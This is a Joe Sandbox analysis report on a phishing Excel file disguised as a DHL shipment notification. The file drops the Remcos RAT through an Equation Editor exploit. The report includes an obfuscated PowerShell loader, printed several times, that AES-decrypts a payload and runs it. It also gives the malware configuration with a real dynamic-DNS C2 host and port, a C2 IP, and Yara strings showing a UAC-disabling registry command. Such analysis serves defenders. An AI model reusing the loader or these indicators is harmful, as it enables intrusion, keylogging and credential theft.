Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
DHL Shipment Notification 490104998009.xls

Overview

General Information

Sample name:DHL Shipment Notification 490104998009.xls
Analysis ID:1482980
MD5:9f5966511192881e63d53f4f2d1098e7
SHA1:150099df77098faf110a9060e7ea1c0c4dbd7b5f
SHA256:8953284dd35be103fb513b51319ebb7cd890cf377d9815d69bac8dffa9a6d25e
Tags:DHLxls
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious Excel or Word document
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs a global keyboard hook
Machine Learning detection for sample
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Searches for Windows Mail specific files
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Excel Network Connections
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 2700 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
    • WINWORD.EXE (PID: 3152 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)
      • EQNEDT32.EXE (PID: 3408 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
    • wscript.exe (PID: 3472 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A)
      • powershell.exe (PID: 3520 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'') MD5: EB32C070E658937AA9FA9F3AE629B2B8)
        • RegAsm.exe (PID: 3680 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 8FE9545E9F72E460723F484C304314AD)
          • RegAsm.exe (PID: 3784 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\lbvlkbmzmwfnyoxgjysjrgc" MD5: 8FE9545E9F72E460723F484C304314AD)
          • RegAsm.exe (PID: 3792 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\vvawltxaiexsactkaincctxyki" MD5: 8FE9545E9F72E460723F484C304314AD)
          • RegAsm.exe (PID: 3800 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yxfommiuwmpxlihojtzefxrplotjp" MD5: 8FE9545E9F72E460723F484C304314AD)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "maveing.duckdns.org:18576:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-F4JFYD", "Keylog flag": "1", "Keylog path": "Temp", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings[1].docINDICATOR_RTF_MalVer_ObjectsDetects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.ditekSHen
  • 0x1f8c:$obj1: \objhtml
  • 0x1fc6:$obj2: \objdata
  • 0x1fb0:$obj3: \objupdate
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B138FD5.docINDICATOR_RTF_MalVer_ObjectsDetects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.ditekSHen
  • 0x1f8c:$obj1: \objhtml
  • 0x1fc6:$obj2: \objdata
  • 0x1fb0:$obj3: \objupdate
C:\Users\user\AppData\Local\Temp\Notepo\logs.datJoeSecurity_RemcosYara detected Remcos RATJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
        0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
        • 0x6c4a8:$a1: Remcos restarted by watchdog!
        • 0x6ca20:$a3: %02i:%02i:%02i:%03i
        0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmpREMCOS_RAT_variantsunknownunknown
        • 0x664fc:$str_a1: C:\Windows\System32\cmd.exe
        • 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
        • 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
        • 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
        • 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
        • 0x6656c:$str_b2: Executing file:
        • 0x675ec:$str_b3: GetDirectListeningPort
        • 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
        • 0x67118:$str_b7: \update.vbs
        • 0x66594:$str_b9: Downloaded file:
        • 0x66580:$str_b10: Downloading file:
        • 0x66624:$str_b12: Failed to upload file:
        • 0x675b4:$str_b13: StartForward
        • 0x675d4:$str_b14: StopForward
        • 0x67070:$str_b15: fso.DeleteFile "
        • 0x67004:$str_b16: On Error Resume Next
        • 0x670a0:$str_b17: fso.DeleteFolder "
        • 0x66614:$str_b18: Uploaded file:
        • 0x665d4:$str_b19: Unable to delete:
        • 0x67038:$str_b20: while fso.FileExists("
        • 0x66ab1:$str_c0: [Firefox StoredLogins not found]
        0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmpINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
        • 0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
        • 0x6637c:$s1: CoGetObject
        • 0x66390:$s1: CoGetObject
        • 0x663ac:$s1: CoGetObject
        • 0x70338:$s1: CoGetObject
        • 0x6633c:$s2: Elevation:Administrator!new:
        Click to see the 13 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        12.2.RegAsm.exe.400000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
          12.2.RegAsm.exe.400000.0.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
            12.2.RegAsm.exe.400000.0.raw.unpackWindows_Trojan_Remcos_b296e965unknownunknown
            • 0x6c4a8:$a1: Remcos restarted by watchdog!
            • 0x6ca20:$a3: %02i:%02i:%02i:%03i
            12.2.RegAsm.exe.400000.0.raw.unpackREMCOS_RAT_variantsunknownunknown
            • 0x664fc:$str_a1: C:\Windows\System32\cmd.exe
            • 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
            • 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
            • 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
            • 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
            • 0x6656c:$str_b2: Executing file:
            • 0x675ec:$str_b3: GetDirectListeningPort
            • 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
            • 0x67118:$str_b7: \update.vbs
            • 0x66594:$str_b9: Downloaded file:
            • 0x66580:$str_b10: Downloading file:
            • 0x66624:$str_b12: Failed to upload file:
            • 0x675b4:$str_b13: StartForward
            • 0x675d4:$str_b14: StopForward
            • 0x67070:$str_b15: fso.DeleteFile "
            • 0x67004:$str_b16: On Error Resume Next
            • 0x670a0:$str_b17: fso.DeleteFolder "
            • 0x66614:$str_b18: Uploaded file:
            • 0x665d4:$str_b19: Unable to delete:
            • 0x67038:$str_b20: while fso.FileExists("
            • 0x66ab1:$str_c0: [Firefox StoredLogins not found]
            12.2.RegAsm.exe.400000.0.raw.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
            • 0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
            • 0x6637c:$s1: CoGetObject
            • 0x66390:$s1: CoGetObject
            • 0x663ac:$s1: CoGetObject
            • 0x70338:$s1: CoGetObject
            • 0x6633c:$s2: Elevation:Administrator!new:
            Click to see the 15 entries

            Sigma Signatures

            Exploits

            barindex
            Sigma detected: EQNEDT32.EXE connecting to internet
            Source: Network ConnectionAuthor: Joe Security: Data: DestinationIp: 192.3.176.154, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3408, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49168
            Sigma detected: File Dropped By EQNEDT32EXE
            Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3408, TargetFilename: C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS

            System Summary

            barindex
            Sigma detected: Base64 Encoded PowerShell Command Detected
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
            Sigma detected: Equation Editor Network Connection
            Source: Network ConnectionAuthor: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49168, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3408, Protocol: tcp, SourceIp: 192.3.176.154, SourceIsIpv6: false, SourcePort: 80
            Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
            Source: Process startedAuthor: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
            Sigma detected: Potential PowerShell Command Line Obfuscation
